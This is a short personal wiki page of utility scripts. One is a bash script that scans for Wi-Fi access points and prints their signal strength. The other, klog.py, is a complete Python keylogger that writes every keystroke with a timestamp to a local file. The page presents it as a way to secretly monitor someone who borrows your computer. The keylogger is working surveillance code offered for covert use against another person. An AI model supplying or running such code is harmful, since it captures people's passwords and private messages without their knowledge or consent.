scripts

Useful scripts

Originally developed for use at work, it's just as useful in other contexts, so I have reproduced it here. Requires charmbracelet/gum.

sigstr.sh
#!/bin/bash
device=$(ip ad | awk '/^[0-9]+:/ { print $2 }' | sed 's/://' | gum choose)
sudo iw $device scan | 
        awk '/^BSS/ { print $2 }; /signal/ { print $2, $3, "\f" }' |
        sed 's/(on$//'
# each result will look like:
#   00:11:22:33:44:55
#   -72.00 dBm
# additionally, they will be separated by "\f" characters

Let's say you need to hand your computer over to someone you don't fully trust and want to check on their usage afterward. Requires the pynput package.

klog.py
from pynput.keyboard import Key, Listener
import logging
 
logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
 
def on_press(key):
    logging.info(str(key))
 
with Listener(on_press=on_press) as listener:
    listener.join()
  • scripts.txt
  • Last modified: 2023-08-18 18:24
  • by asdf